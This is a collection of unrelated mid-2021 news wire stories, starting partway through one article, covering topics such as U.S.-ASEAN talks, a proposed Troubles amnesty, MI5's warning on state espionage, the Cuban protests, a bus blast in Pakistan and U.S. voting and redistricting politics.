Blinken urged ASEAN to take "immediate action" on the consensus and appoint the envoy, State Department spokesperson Ned Price said in a statement.

Blinken asked for the release of all those "unjustly detained" in Myanmar and the restoration of its democratic transition, Price said.

On the disputed South China Sea, Blinken emphasised the U.S. rejection of China's "unlawful maritime claims" and said the United States "stands with Southeast Asian claimants in the face of coercion", Price said.

China said the comments were aimed at derailing regional peace and stability.

"It is extremely irresponsible of the U.S. to deliberately provoke controversy over territorial sovereignty and maritime rights in the South China Sea, sow discord among China and ASEAN countries," Chinese foreign ministry spokesman Zhao Lijian told a briefing in Beijing.

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WELCOME EMBRACE

China claims vast swathes of the South China Sea via its unilaterally declared, U-shaped, "nine-dash line" which overlaps with the exclusive economic zones of Vietnam, Malaysia, Brunei, Indonesia and the Philippines, all ASEAN members.

Trillions of dollars in trade flow every year through the waterway, which also contains rich fishing grounds and gas fields.

In addition to the South China Sea, the Mekong River has become a new front in U.S.-China rivalry, with Beijing overtaking Washington in both spending and influence over downstream countries at the mercy of its control of the river's waters.

Price said Blinken "pledged continued U.S. support for a free and open Mekong region under the Mekong-U.S. Partnership".

Malaysian Foreign Minister Hishammuddin Hussein said he hoped Wednesday's meeting signalled a "refreshed commitment" to U.S. multilateral cooperation.

"We understand that multilateralism was not a key focus for the previous administration, but the Biden administration's embrace of multilateral cooperation is a welcome development," Hishammuddin said, according to a copy of his delivered remarks.

"This path is the only way forward to ensure stability, peace, prosperity and security for our region."

(Reporting by James Pearson; Additional reporting by Rozanna Latiff in Kuala Lumpur, Shubham Kalia in Bengaluru and Yew Lun Tian in Beijing; Editing by Raju Gopalakrishnan, Robert Birsel)
LONDON (Reuters) -The British government has proposed halting all prosecutions of British soldiers and militants involved in three decades of conflict in Northern Ireland, sparking an angry response from victims' families and politicians in Belfast and Dublin.

London has said prosecutions linked to the bloodshed are increasingly unlikely to result in convictions, but allegations over unresolved crimes from Northern Ireland's "Troubles" remain a contentious issue 23 years after a peace deal was struck.

Irish Prime Minister Micheal Martin said the move towards what he described as amounting to a general amnesty for those accused of murder and other crimes was not the right way to go "for many, many reasons".

The Irish government had urged London not to push ahead with the move and Foreign Minister Simon Coveney said the proposals were "very much not a done deal" and that the two governments had previously committed to try to find a consensus.

However, Britain's Northern Ireland Minister pledged to bring forward legislation underpinning a statute of limitations in the autumn while also proposing establishing a new independent body to help victims' families find out the truth.

"We know the prospect of the end of criminal prosecutions will be difficult for some to accept. This is not a position that we take lightly," Lewis told parliament, saying he would engage with victims' families.

The conflict pitted mostly Catholic nationalists fighting for a united Ireland against predominantly Protestant unionists who wanted Northern Ireland to stay part of the United Kingdom. It cost some 3,600 lives.

Northern Ireland's main political parties and many victims groups immediately opposed the move. Democratic Unionist Party leader Jeffrey Donaldson MP said it was "totally unacceptable" and would be rejected by everyone in Northern Ireland.

Veterans Commissioner for Northern Ireland Danny Kinahan said veterans did not "on the whole" want an amnesty but that society was not getting anywhere through the courts system.

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Three murder trials of former soldiers collapsed in recent weeks due to evidence collected decades ago being ruled inadmissible. They included the 1972 "Bloody Sunday" killings of 13 unarmed Catholic civil rights marchers.

One group representing victims said the proposals were "a perversion of the criminal justice system".

"We are saying to families your loved one's death didn't matter. Some families have not had the processes they should have had and that is simply wrong," Sandra Peake, chief executive of WAVE Trauma Centre, said.

(Reporting by Padraic Halpin and Conor Humphries in Dublin and Ian Graham in Belfast; Editing by Michael Holden and Catherine Evans)
By Guy Faulconbridge

LONDON (Reuters) - Britain's top domestic spymaster cautioned citizens on Wednesday to treat the threat of spying from Russia, China and Iran with as much vigilance as terrorism, in a shift of focus back to counter-espionage nearly two decades after the 9/11 attacks.

The Sept. 11, 2001 attacks on the United States made tackling terrorism the biggest priority for Western intelligence agencies, with vast resources being focused on the threat from home-grown and foreign-based militants.

But the growing assertiveness of post-Soviet Russia, the rise of China, and Iran's sometimes daring espionage has forced the West's spies to return their focus to counter-intelligence, or spies tracking, countering and tackling other spies.

Security Service (MI5) Director General Ken McCallum said foreign spies killed, stole technology, sought to corrupt public figures, sow discord and attack infrastructure with potentially devastating cyberattacks.

"Some hostile actors are prepared to come to the UK to kill," McCallum said in a speech at Thames House, MI5's London headquarters.

Since a 2018 nerve agent attack in England targeting former Russian double agent Sergei Skripal, MI5 has disrupted hostile power activity that might have resulted in an attempted killing, he said, though he declined to give details.

'STATE THREATS'

MI5's biggest job is still tackling terrorism - and McCallum warned of the dangers emanating from Syria and Afghanistan - but said there was an important need to refocus attention on the threats from state actors such as Russia, China and Iran.

"We are aiming to double the amount of MI5 resources going into state threats activity," he said. "Our counter-terrorism business has been heavily dominant for the last two decades and the state threats work has unavoidably been squeezed."

British spies say China and Russia have each sought to steal commercially sensitive data and intellectual property as well as to interfere in domestic politics and sow misinformation.

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Beijing and Moscow say the West is gripped with a paranoia about plots. Both Russia and Chine deny they meddle abroad, seek to steal technology, carry out cyberattacks or sow discord.

U.S. prosecutors have charged four Iranians, alleged to be intelligence operatives for Tehran, with plotting to kidnap a New York journalist and human rights activist who was critical of Iran.

MI5 began as a counter-intelligence service in 1909, first focusing on the threat from Germany and then, after World War Two, focusing on the Cold War threat posed by the Soviet Union's agents.

(Reporting by Guy Faulconbridge; editing by Costas Pitas, Michael Holden and Gareth Jones)
(Reuters) - Britain will work with the Taliban should they enter the government in Afghanistan, British Defence Minister Ben Wallace told the Daily Telegraph in an interview published on Tuesday.

"Whatever the government of the day is, provided it adheres to certain international norms, the UK government will engage with it," he was quoted as saying in the newspaper https://bit.ly/3r4LR6U.

However, Wallace warned that Britain will review any relationship "if they behave in a way that is seriously against human rights".

The Taliban, who ruled Afghanistan with an iron fist from 1996 to 2001, have been fighting for 20 years to topple the Western-backed government in Kabul.

Emboldened by the departure of foreign forces by a September target, the Sunni Muslim insurgent group is making a fresh push to surround cities and gain territory.

In his interview with the newspaper, Wallace recognised that the prospect of the UK working with the Taliban would be controversial.

"What (the Taliban) desperately want is international recognition. They need to unlock financing and support (for) nation building, and you don't do that with a terrorist balaclava on," he said.

"You have to be a partner for peace otherwise you risk isolation. Isolation led them to where they were last time", he added.

Wallace appealed for the Taliban and Afghanistan's president, Ashraf Ghani, to work together to bring stability to the country after decades of conflict.

Senior Afghan leaders will fly to Doha for talks with the Taliban this week, as the insurgent group takes a hard stance on negotiations, even warning Turkey against plans to keep some troops in Afghanistan to run and guard Kabul's main airport.

Taliban officials said last week the group had taken control of 85% of territory in Afghanistan.

(Reporting by Kanishka Singh in Bengaluru; editing by Richard Pullin)
A Los Angeles judge ruled Wednesday that Britney Spears can select her own attorney in her conservatorship battle.

What she's saying: The pop star broke down in tears during Wednesday's hearing, telling the judge that she was "extremely scared" of her father, James "Jamie" Spears, NBC News reports. "Im here to get rid of my dad and charge him with conservatorship abuse," she added, saying, "this conservatorship has allowed my dad to ruin my life."

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Spears called her father's 13-year-long conservatorship "abusive" last month in a revealing testimony that triggered a flood of support.

"I want to press charges against my father today," Spears said, per CNN. "I want an investigation into my dad."

State of play: Spears' father has had court authority over Spears since 2008 when she experienced a mental health episode. The conservatorship oversees her finances, health and whereabouts, but Spears said her father established extreme restrictions.

The judge on Wednesday approved her court-appointed lawyers formal request to step down, as well as his replacement  Spears chosen attorney Mathew Rosengart, a prominent Hollywood lawyer and former federal prosecutor.

Go deeper... Axios Re:cap: Britney Spears speaks out on her conservatorship

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California is allocating $156 million to fund victim-centered solutions in combatting violence against Asian Americans and Pacific Islanders (AAPI).



Historic funding: California Gov. Gavin Newsom signed the historic Asian and Pacific Islander (API) Equity Budget on Monday as part of the states new $100 billion spending bill, NBC reported.



Led by the API Legislative Caucus, Californias funding plan for the AAPI community is the largest allocated by any state. It is over 15 times what New York approved in April.

In a statement published by Stop AAPI Hate, Senator Richard Pan (D-Sacramento), Chair of the API Legislative Caucus, expressed his thanks to Newsom for making history and investing in critical resources for the API Community.

This sends a message to the API community that the State of California sees them and that we matter, he added. It gives us hope that California will be supporting our survivors and communities as our state recovers from COVID-19.

Assemblymember Evan Low (D-Silicon Valley), vice-chair of the API Legislative Caucus, called the investment "historic" while noting that the community will now have "the tools to expand services, invest in the hardest-hit neighborhoods, increase anti-bias education, and better track and prevent these cowardly attacks.





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Fund allocation: The API Equity Budget will be used to fund non-carceral alternatives over a three-year period to address anti-Asian hate incidents, as broken down below.



The majority of the funding, amounting to $110 million, will be distributed to community organizations providing vital victim services and prevention.

Stop AAPI Hate will receive $10 million to aid in tracking, responding, and preventing racial bias and harm incidents.

The AAPI Data project is getting $10 million to improve the accuracy of data collection and data equity on the needs, challenges and barriers of the AAPI.

Ethnic media outlets in the state will get $10 million to reach underserved communities.

An anti-bias block grant will receive $10 million to help schools create restorative justice programs addressing early forms of hate and microaggressions.

A peer social media network project addressing bullying and mental health for young people will get $5 million in support.

A workgroup that enables low-income first-generation AAPI college students to attain education will receive $1.5 million.



The API Legislative Caucus originally asked for $200 million, but proposals such as the Office of Racial Equity, interpreter corps and ethnic enclaves reportedly failed to receive funding.



Featured Image via ABC7
LOS ANGELES (AP)  The nations largest public pension fund has agreed to pay up to $2.7 billion to refund policyholders hit with huge hikes in their premiums, it was announced Tuesday.

The California Public Employees Retirement System, or CalPERS, has agreed to settle a class-action lawsuit over the fee hikes that were imposed on nearly 80,000 people who paid for policies to cover the long-term costs of nursing care and included inflation-protection coverage, according to a joint news release from CalPERS and the plaintiffs.

A judge must approve the deal, which could happen sometime next year, according to the release.

Several policyholders sued in 2013 after CalPERS notified them that their premiums would jump by 85% over two years beginning in 2015.

CalPERS said it needed to raise the premiums to keep the expensive long-term care policies solvent. The fund has suspended new enrollment and plans to implement two more rate increases as early as this November and next year that could nearly double the premium cost, the Sacramento Bee reported.

CalPERS, which has some $470 billion in assets, provides pension and other retirement benefits to more than 2 million employees of state and local agencies and public schools, retirees and their families.

However, the money for the settlement won't come from those assets, which cover pensions, but rather from a separate long-term care fund of nearly $5.5 billion, according to the news release.

We believe this settlement is in the best interest of all long-term care policyholders and represents a sincere effort to resolve very complex issues in a fair manner, Matthew Jacobs, CalPERS general counsel, said in the release.

The settlement will help our clients, many of whom are retired and on fixed incomes, to achieve a refund of premiums and move on with their lives, said Gretchen Nelson, one of the attorneys in the case.

If approved, the settlement would avoid a jury trial in the case scheduled for March of next year.

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The amount of money for each person covered by the settlement will depend on several factors, including whether they used the benefits for which they were paying.

Under the deal, most policyholders would receive between $35,000 and $50,000 but would have to give up their long-term care insurance plans to receive full payment refunds, the Bee reported.

Policyholders can opt out of the settlement and keep their plans, but few are likely to take that route, Stuart Talley, an attorney representing policyholders, told the paper.

Weve received so many phone calls from people who say they want their money back, and they want to get out of this program, he said.
Former US vice president Mike Pence warned Wednesday that China was on its way to becoming an "evil empire" posing a greater threat to America than the Cold War-era Soviet Union.

Former president Donald Trump's deputy, believed to be mulling his own 2024 White House bid, also urged current occupant Joe Biden to confront China more forcefully on multiple fronts including the origin of the coronavirus and the Asian giant's "neocolonialism."

"The Chinese Communist Party is the greatest threat to our prosperity, security and values on the face of the Earth," Pence said during a speech at the Heritage Foundation think tank.

"China may not yet be an evil empire, but it's working hard every day to become one," he added.

"In many respects, communist China poses a greater challenge to the United States than the Soviet Union ever did throughout the Cold War."

The comments highlighted the anti-China stance adopted by Pence, who amplified his and Trump's policies toward its economic rival, including imposing trade tariffs and blaming Beijing for Covid.

Trump repeatedly lavished praise on President Xi Jinping in the early days of the pandemic for China's "transparency" and professionalism in its public health response, before pivoting to criticizing Beijing and calling Covid-19 the "China Virus."

Instead of "rolling over" to China, the Biden administration ought to demand that Beijing "come clean about the origins of the coronavirus," Pence said, repeating Trump's line that evidence suggests the coronavirus leaked from a Wuhan lab.

Biden in May ordered an investigation of Covid's origins.

Pence, stressing he believes China "senses weakness in this new administration," demanded Biden take other steps against Beijing.

He urged the president to "decouple" the US economy from China's regarding industries considered essential to national security; strengthen economic ties with Taiwan; reduce Chinese imports; and demand the 2022 Winter Olympics be moved from Beijing unless it provides truthful Covid origin data and ends persecution of Muslim minority Uyghurs.

Story continues

He also called for an aggressive US posture to prevent China from building a military base in the Western hemisphere.

"The president must make it clear that the Western hemisphere is off limits to China's neocolonialism," Pence said.

mlm/ft
China fired back at Japan on Tuesday, saying Tokyo was irresponsible for naming Beijing as its top national security concern in its annual defense white paper.

China in recent months has increased its military activity around Taiwan, a democratically-ruled territory it considers its own, which is not far from Japans Okinawa islands.

In Japans defense papers, approved by Prime Minister Yoshihide Suga's government on Tuesday, Tokyo said China was inciting a military crisis in the region.

Chinas Foreign Ministry Spokesman Zhao Lijian rejected Japans conclusions about what it calls normal military buildup.

It is extremely wrong and irresponsible to grossly interfere in China's internal affairs, unreasonably accuse China of normal national defense construction and military activities, make irresponsible remarks about China's legitimate maritime activities, and exaggerate the so-called Chinese threat. China is strongly dissatisfied with this and firmly opposes it.

Chinese President Xi Jinping earlier this month pledged to complete reunification and squash independence movements in Taiwan.

Meanwhile, Japan has said they would join forces with the United States to defend Taiwan from any invasion, according to local media.

In response to Tuesdays white paper, Taiwans Foreign Ministry expressed thanks to Japan for its support.
BEIJING (AP)  China says the withdrawal of U.S. and NATO forces from Afghanistan offers the country a new chance to take its destiny into its own hands, while calling for the resurgent Taliban to cut all ties with terrorist groups.

Speaking Tuesday in Tajikistan's capital Dushanbe, Foreign Minister Wang Yi said the U.S. should reflect on its role in Afghanistan after its 20-year military involvement failed to bring peace.

With the United States and NATO leaving Afghanistan, the Afghan people have a new opportunity to take the destiny of their country and their people into their own hands," Wang said in a news release posted on the ministry's website Wednesday.

In remarks directed at the Taliban, Wang said the deeply conservative group should resolutely draw a line with all terrorist forces, and return to the political mainstream of Afghanistan with a responsible attitude toward the country and people."

China shares a narrow border with Afghanistan and is concerned about Islamist extremism spilling over into its traditionally Muslim region of Xinjiang. As part of those prevention efforts, Beijing has been sharing up ties with its central Asian neighbors such as Tajikistan.
Many of those on the bus were Chinese nationals working at a dam site

At least 13 people, including nine Chinese nationals, have been killed in an explosion that sent a bus hurtling down a mountainside in Pakistan.

China says it was a deliberate bombing, but Pakistani officials are blaming a mechanical failure.

The bus was carrying more than 30 people to a hydropower plant site in the remote upper Kohistan region.

Two soldiers were among the dead and a number of others were injured. Rescuers airlifted the injured to hospital.

The Dasu hydropower project is part of the China-Pakistan Economic Corridor (CPEC) - a $65bn (47bn) investment plan that includes a network of roads, railway and pipelines between the two countries.

Pakistan's Dawn newspaper reported that the bus had picked up workers and Chinese engineers from a camp in Barseen and was near the Dasu plant, in the north of the country, when it went off the road.

map showing Dasu area

Chinese Foreign Ministry spokesman Zhao Lijian urged Pakistan to punish those responsible and protect the safety of Chinese citizens in the country.

"China has asked Pakistan to thoroughly investigate the truth as soon as possible, capture the perpetrators, punish them severely, and effectively protect the safety of Chinese personnel, institutions and projects in Pakistan," he said.

A number of media reports also pointed to an attack, with local officials quoted as saying they were unclear whether a device had been planted by the roadside or on the vehicle itself.

"Looks like sabotage," the top provincial police official, Moazzam Jah Ansari, said as he left by helicopter for the crash site, according to Reuters.

The news agency said at least three other officials had confirmed that the bus was hit by a blast.

An adviser to Pakistan's prime minister described it as a cowardly attack.

But Pakistan's Foreign Ministry said later the bus went off the road "after a mechanical failure resulting in leakage of gas that caused a blast".

China's huge investment projects are mistrusted by some in Pakistan who say locals don't see the benefits.

Story continues

Chinese-funded projects have been attacked, most recently in April when the Pakistani Taliban claimed a suicide bombing at a luxury hotel in south-west Balochistan province. China's ambassador was in the hotel but unhurt.

You might also be interested in:

Click here to see the BBC interactive
ASUNCION, Paraguay (AP)  Wrapped in a Paraguayan flag and with a photograph of her young face, a coffin with the remains of Leidy Vanessa Luna Villalba arrived Tuesday in Asuncion where it was received by relatives grieving the nanny killed when a Miami-area condominium tower collapsed.

The 23-year-old had been working for the family of the sister of Paraguayan first lady Silvana Abdo in the building in Surfside, Florida, that fell June 24. The bodies of the sister, Sophia Lopez Moreira; her husband, Luis Pettengill; and the youngest of their three children have been found. Their two other children remain missing.

Traveling with Luna Villalbas coffin on the flight was her mother, Juana Villalba, and cousin Lourdes Luna. They did not make comments at the airport as they disembarked.

Her wake will be held in the town of Eugenio Garay, 170 kilometers (106 miles) south of Asuncion.

Leidys mother is being seen to by two psychologists from the Ministry of Women, but with this the grieving process begins. We must respect their pain in silence, it is time for consolation in the embrace," Foreign Minister Euclides Acevedo said iat a news conference after greeting the women.

He added that President Mario Abdo Benitez asked me to be with this family because he will receive the remains of his relatives next Thursday, referring to his sister-in-law and her family.

The death toll in the building collapse rose to 95 on Tuesday as teams worked to find more victims in the rubble. Miami-Dade County Mayor Daniella Levine Cava said 14 people were still missing.

Luna Villalba had finished her nursing degree and was taking care of children to earn money to pay for the expenses of the preparation and defense of her thesis.

Richard Luna Villalba, the victims older brother, told The Associated Press on Tuesday that the residents of his community would accompany the coffin with white balloons from his arrival in town to the humble home where she lived.

Leidys mother is the authentic Paraguayan woman: beautiful and supportive," said Acevedo. "She is an example for all of us because she endured her pain without asking for anything, as a rural woman she is far from the greed of the consumer society.

Paraguays Foreign Ministry initially released a report spelling her first name Lady, but ministry spokesman Oscar Ayala later said it was Leidy without explaining why the change had been made.
Cuba has limited access to some social media and messaging apps following anti-government protests that started Sunday.

Why it matters: Governments are increasingly using partial or complete internet shutdowns as a response to political unrest.

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According to NetBlocks, Cuba's national internet service provider blocked access to WhatsApp, Facebook, Instagram as well as some Telegram servers.

As of Tuesday it said VPNs were working to help evade the government crackdown.

Flashback: NetBlocks spotted a similar crackdown in Cuba in November 2020, following separate protests over artistic freedom.

Go Deeper: Internet blackouts skyrocket amid global political unrest

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By Aislinn Laing and Vivian Sequera

(Reuters) - Protests in Cuba will increase the risk of COVID-19 transmission because of an already high level of cases and the more contagious Delta variant, health officials said on Wednesday.

The Pan American Health Organization (PAHO) urged Cubans and tourists visiting the Caribbean nation to avoid crowds, wear masks and frequently wash hands.

"The gathering of individuals for protests... increases the risk of transmission, in particular in cases such as Cuba where you have active transmission in many areas over the last week and 34,244 new cases reported," said Dr. Ciro Ugarte, PAHO's director of health emergencies. (Graphic on global cases) https://tmsnrt.rs/34pvUyi

He said in northern Matanzas province, the more contagious Delta variant had been identified and cases were rising exponentially. The area is also popular with tourists, he noted.

Since Sunday, thousands in the Communist-run country have protested against a deep economic crisis that has seen shortages of basic goods and power outages. They were also protesting against the government's handling of the coronavirus pandemic and curbs on civil liberties.

Cuba's government has said the demonstrations were orchestrated by the United States and blamed the decades-old U.S. trade embargo for shortages.

PAHO Director Carissa Etienne said COVID-19 cases in the Americas were down 20%, but infections were spiking in some parts of the United States, Mexico, El Salvador, Guatemala, Cuba, the British Virgin Islands, Argentina and Colombia.

She said without access to vaccines, the virus would ravage Latin America "for years to come."

Only one in seven people in Latin America and the Caribbean have been fully protected against COVID, she noted, with Paraguay and Jamaica inoculating less than 3% of their populations so far, and Honduras and Guatemala yet to protect even 1%. (Graphic on global vaccinations) https://tmsnrt.rs/3tUM8ta

Ugarte said Cuba had given more than 3 million people at least one dose of its home-grown vaccines, or 27% of the population. He said PAHO understood the vaccine's efficacy in trials stood at between 91% and 92% but that final data on its effectiveness among the population would be key.

(Reporting by Aislinn Laing and Vivian Sequera in Santiago; Editing by Lisa Shumaker)
A food order delivered to a New York City police precinct Monday appeared to be tampered with, authorities said, citing video footage posted to social media showing a note left inside the container.

The incident occurred at the 61st Precinct on Monday afternoon, and police said they believe the note was inserted into a Chipotle food container by a DoorDash delivery worker.

The alleged DoorDash delivery man can be seen sticking a note inside the food container with his bare hands.

"Hope that s*** taste good," the note read, according to a now-deleted Facebook video.

The New York City Police Department is searching for the delivery driver and said he could be arrested and given felony charges of reckless endangerment.

ERIC ADAMS CAUTIONS DEMOCRATS NOT TO BE 'SO IDEALISTIC' THAT THEY'RE 'NOT REALISTIC'

"This is a Facebook public announcement, I don't violate people food like that ... that was personal. We at war," a user who uploaded the video wrote, appearing to claim responsibility for contaminating the DoorDash order.

A spokesperson from DoorDash condemned the actions in the video as "absolutely unacceptable."

"This behavior is absolutely unacceptable and has no place in our community. We take the trust and respect of merchants, customers, and Dashers extremely seriously. We have deactivated the Dasher and have reached out to the customer involved," a DoorDash spokeswoman told the Washington Examiner.

Chipotle's chief corporate affairs officer, Laurie Schalow, called the incident "inexcusable."

"The actions displayed by this third-party delivery driver are inexcusable, and weve ensured our delivery partner has deactivated the individuals account," Schalow told the Washington Examiner.

The officer who received the order threw it out upon the discovery of the note, according to the NYPD.

CLICK HERE TO READ MORE FROM THE WASHINGTON EXAMINER

The Washington Examiner contacted the 61st Precinct and Chipotle but did not immediately receive a response.

Story continues

Washington Examiner Videos

Tags: News, Food and Beverage, Law Enforcement, New York, Restaurants

Original Author: Kaelan Deese

Original Location: Delivery worker accused of tampering with food brought to NYC precinct: Police
Contractors working for Florida-based Cyber Ninjas review 2020 election ballots in an audit ordered by Arizona Republicans in the state senate. (AP)

The House Oversight Committee will investigate a partisan vote audit of more than 2 million ballots cast in Maricopa County, Arizona, where Republicans in the state senate are leading a review of 2020 election results performed by a private company whose founder supported Donald Trumps election lies and the Stop the Steal campaign.

In a wide-ranging request for documents, the Democratic committee chairs have asked whether the firm, Cyber Ninjas, had any communications with the former president and his administration or campaign officials, Maricopa County officials, and Trump-linked associates Rudy Giuliani, Mike Lindell, Sidney Powell and Lin Wood, who have amplified stolen election conspiracy theories and other vote fraud falsehoods.

The committee is seeking to determine whether the privately funded audit conducted by your company in Arizona protects the right to vote or is instead an effort to promote baseless conspiracy theories, undermine confidence in Americas elections, and reverse the result of a free and fair election for partisan gain, chairs Carolyn Maloney and Jamie Raskin wrote.

The committee gave Cyber Ninjas CEO Doug Logan two weeks to respond to the request, sent on 14 July.

More follows...

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Texas Democratic state representatives are on the lam from their legislative session in Austin, trying to prevent the passage of a bill that would curtail many voting rules implemented during the COVID-19 pandemic.

TEXAS CONGRESSMAN ASKS CAPITOL SERGEANT-AT-ARMS TO HELP EXTRADITE FUGITIVE STATE DEMOCRATS

Nearly 60 Texas Democratic legislators fled Austin to Washington, D.C., on Monday to obstruct a Republican voter reform bill in the Texas Legislature.

Their absence on the Texas House chamber floor means there are not enough lawmakers to form a quorum to conduct legislative business. So, the Republican voter bill remains stalled in the Senate during the special session called by Gov. Greg Abbott late last week.

The session expires on Aug. 7. But Abbott, who ordered the legislators' arrest upon return, promised he would call for another special session if necessary.

The bill, dubbed by the fugitive legislators on Tuesday in Washington as an example of Jim Crow 2.0, includes rolling back COVID-19 safety protocol election measures implemented by Harris County during the last election cycle.

These provisions include bans on drive-thru voting and 24-hour uninterrupted voting. The bill would also prohibit local election officials from sending unsolicited applications but allows for requesting a mail-in ballot.

Requests for voting by mail, according to the legislation, would require new voter identification standards. Voters would be mandated to provide their drivers license number or if they do not have a license, the last four digits of their Social Security number on applications for those ballots.

However, Democrats argue the bills measures are intended to suppress voter turnout, despite the initial reason  in this case, the pandemic  that the voter protocols and systems were set up.

Texas had one of the highest voter turnouts in the last election, and our Republican-appointed secretary of state said that those elections were safe and secure and successful. Suppression is not always overt. It could be subtle, Texas Rep. Nicole Colliers told the Washington Examiner. Subtle in the form of empowering partisan poll watchers who get a warning before they can be removed from the polling locations, but those poll workers face immediate criminal sanctions.

Story continues

Most Democrats want to repeal the Senate filibuster in Congress, which requires 60 votes for legislation to be considered. That Senate rule is blocking the passage of key voting legislation, according to Democratic senators.

Sen. Raphael Warnock, a Georgia Democrat whose Republican-led state Legislature recently passed a raft of voting reform measures, echoed his Democratic colleagues in calling for scrapping the filibuster.

"We have to pass voting rights this Congress. No Senate rule supersedes people's constitutional rights," he said. "This is a 911 emergency."

Republicans say the election measures implemented during the pandemic were meant to be temporary solutions when the COVID-19 pandemic was at its deadliest last year. However, Democrats saw an exponential turnout in their party voters, specifically through mail-in voting in the last cycle.

Sen. Amy Klobuchar, co-author of S.1 and chairwoman of the Committee on Rules and Administration, claims the use of the new systems benefits everyone.

CLICK HERE TO READ MORE FROM THE WASHINGTON EXAMINER

And I would remind you, Minnesota has the highest voter turnout in the country. And we have elected Republican governors and Democratic governors and Jesse Ventura. And that was with the highest voter turnout, Klobuchar said. The answer there is it doesn't necessarily benefit one party or another sometimes.

Washington Examiner Videos

Tags: News, Texas, Congress, Election, Amy Klobuchar

Original Author: Kerry Picket

Original Location: Democrats want to make COVID-19 voting protocols permanent
MIAMI (Reuters) - Demonstrators waving Cuban flags and calling for change on the Communist-run island blocked a major highway and staged other protests in the Miami area on Tuesday in support of the wave of demonstrations that rocked Cuba on Sunday.

The Miami area has long been home to the largest Cuban exile community and a focal point for anti-Castro sentiment.

The South Florida demonstrators sought to replicate the protests by thousands of Cubans on Sunday who denounced a deep economic crisis, shortages of basic goods and power outages in the largest showing of unrest in decades.

"If Cuba is in the street, Miami is too," many chanted.

Dozens of demonstrators shut down the Palmetto Expressway for several hours.

"The roadway remains shut down due to protesters. We have deployed additional resources to assist with re-opening," Florida Highway Patrol spokesman Lieutenant Alex Camacho said in an email on Tuesday evening.

But witness Jules Martinez said later that police were allowing the highway protest, which remained peaceful, to continue.

"As I was exiting the highway I saw people joining the protest and walking towards it," Martinez said by Twitter chat. "Local police were allowing the protest to happen and guiding the traffic."

Other demonstrations popped up in places such as Tamiami Park in the Westchester neighborhood, where protesters called for "intervention" and shouted: "Patria y Vida," or "Homeland and Life," a slogan popularized by prominent Cuban recording artists.

The phrase plays on the Cuban revolutionary slogan "Patria o Muerte," meaning "Homeland or Death," a rallying cry and call for sacrifice from Fidel Castro's 1959 leftist revolution.

(Reporting by Maria Alejandra Cardona in Miami and Nur-Azna Sanusi in Singapore; Writing by Daniel Trotta; Editing by Peter Cooney)
The Democrats' only chance of keeping the House next year is if they redraw congressional lines to their advantage in New York and Illinois, Cook Political Report's David Wasserman tells Axios.

Why it matters: The GOP is already poised to take advantage of its control of map-drawing in more states than Democrats. But Democrats have a chance to eliminate as many as seven Republican House seats in just New York and Illinois through redistricting in states they control.

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New York and Illinois are both set to lose a House seat because of slower population growth.

On top of ensuring Republican districts are the ones lost to reapportionment this year, Democrats could rework the maps to help them pick up an additional four districts in New York and one in Illinois, said Wasserman, who focuses on redistricting as Cook's House editor.

The current New York district map (left, with 19 Democrats and 8 Republicans) and the hypothetical 23D-3R map (right, with 23 Democrats and 3 Republicans), shaded by partisan lean. Maps: Dave Wasserman's Twitter account

The big picture: Republicans will get to draw congressional district lines in big battleground states like Texas, Georgia, North Carolina and Florida. They were able to draw maps to maximize their partisan advantage after the 2010 census, too.

"The two states that Democrats control that are big, or where there's margin left, are New York and Illinois," Ben Williams, a nonpartisan redistricting specialist for the National Conference of State Legislatures, told Axios.

Few other states offer options to create new, blue congressional districts, he and Wasserman said.

"Just by correcting the horrors of what the Republicans have done will be an advantage," New York State Senate Deputy Majority Leader Michael Gianaris, a top Democrat on redistricting, told Axios. "If we do it fairly, we're going to gain seats."

What they're saying: Despite the Democratic hopes, there are checks on blatant partisan gerrymandering  especially in New York, said Kelly Ward Burton, president of the National Democratic Redistricting Committee.

Story continues

While New York has an independent commission in charge of redistricting, its likely that the process ultimately gets kicked to the Democratic-controlled state legislature.

Even then, state law restricts partisan gerrymandering.

In Illinois, Democrats control the process entirely.

The hypothetical gerrymandered map of Illinois, with 14 Democrats and 3 Republicans. Map: Dave Wasserman's Twitter account

The intrigue: In New York, drawing the safest maps for Democrats could mean propping up Republicans like Rep. Elise Stefanik (R-NY).

She's despised by many state and national Democrats after reversing her opposition to Donald Trump and becoming part of the Republican House leadership.

Under a scenario outlined by Wasserman, her district would get redder in order to benefit Democrats elsewhere.

But Gianaris and others pointed out that final U.S. Census Bureau data used for line-drawing hasn't been released, so details about how maps might turn out remain unclear.

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Associated Press

Vietnam put its entire southern region in a two-week lockdown starting midnight Sunday, as confirmed COVID-19 cases exceeded 3,000 for the third day in a row. The lockdown order includes the Mekong Delta and Ho Chi Minh City metropolis, the countrys financial and economic hub with over 35 million people  nearly a third of Vietnam's population. Ho Chi Minh City, the epicenter of the surge, had already announced a full lockdown a week ago, after dozens of cases were reported in late May. The city now accounts for most of the cases in the country with over 2,000 daily.
Green JobWorks LLC, a Hanover-based staffing company, has been charged with discriminating against women in job assignments and duties in a federal lawsuit by the U.S. Equal Employment Opportunity Commission.

The lawsuit filed this week alleges the company violated federal law by refusing to hire female workers for demolition and laborer jobs or to assign women to such positions. The company regularly assigns workers to customers using sex-based criteria provided by those customers and asks whether customers prefer workers of a particular gender, the lawsuit alleges.

Such practices would violate Title VII of the Civil Rights Act of 1964, which prohibits sex discrimination in employment.

Decades after equal employment opportunity became law, sex discrimination remains a persistent problem in the job market, said Jamie Williamson, director of the EEOCs Philadelphia District, which includes the Baltimore field office.

The EEOCs lawsuit alleges that Green JobWorks employees have told female job seekers that the company wanted to hire only men for certain positions or assignments.

An owner of Green JobWorks could not be reached Wednesday afternoon. The companys website says it offers business customers staffing, cleaning, and demolition and abatement services.

The commission said it filed the lawsuit in U.S. District Court in Baltimore after first attempting to reach a pre-litigation settlement.

Redressing and deterring class-wide sex discrimination by staffing agencies and other employers is a critical law enforcement priority, said Debra Lawrence, an EEOC regional attorney, in an announcement of the lawsuit. The EEOC is committed to protecting female workers in the community from bias.
(AP)

Newly minted House Republican Conference Chairwoman Elise Stefanik raised $1.5m in the most recent fundraising quarter, according to Politico.

The New York Republican raised $1.2m through her campaign account and $116,000 through her leadership PAC called E-PAC. The rest of the money was raised through her joint fundraising committee.

Republicans named Ms Stefanik as chairwoman of their conference after they ousted Rep Liz Cheney of Wyoming for her repeated criticisms of former President Donald Trumps lies about the election.

Conversely, the once-moderate Ms Stefanik emerged as one of Mr Trumps most vociferous defenders on the House Intelligence Committee during the former presidents first impeachment. Ms Stefanik also voted to object to certifying the presidential election results even after the riot on January 6.

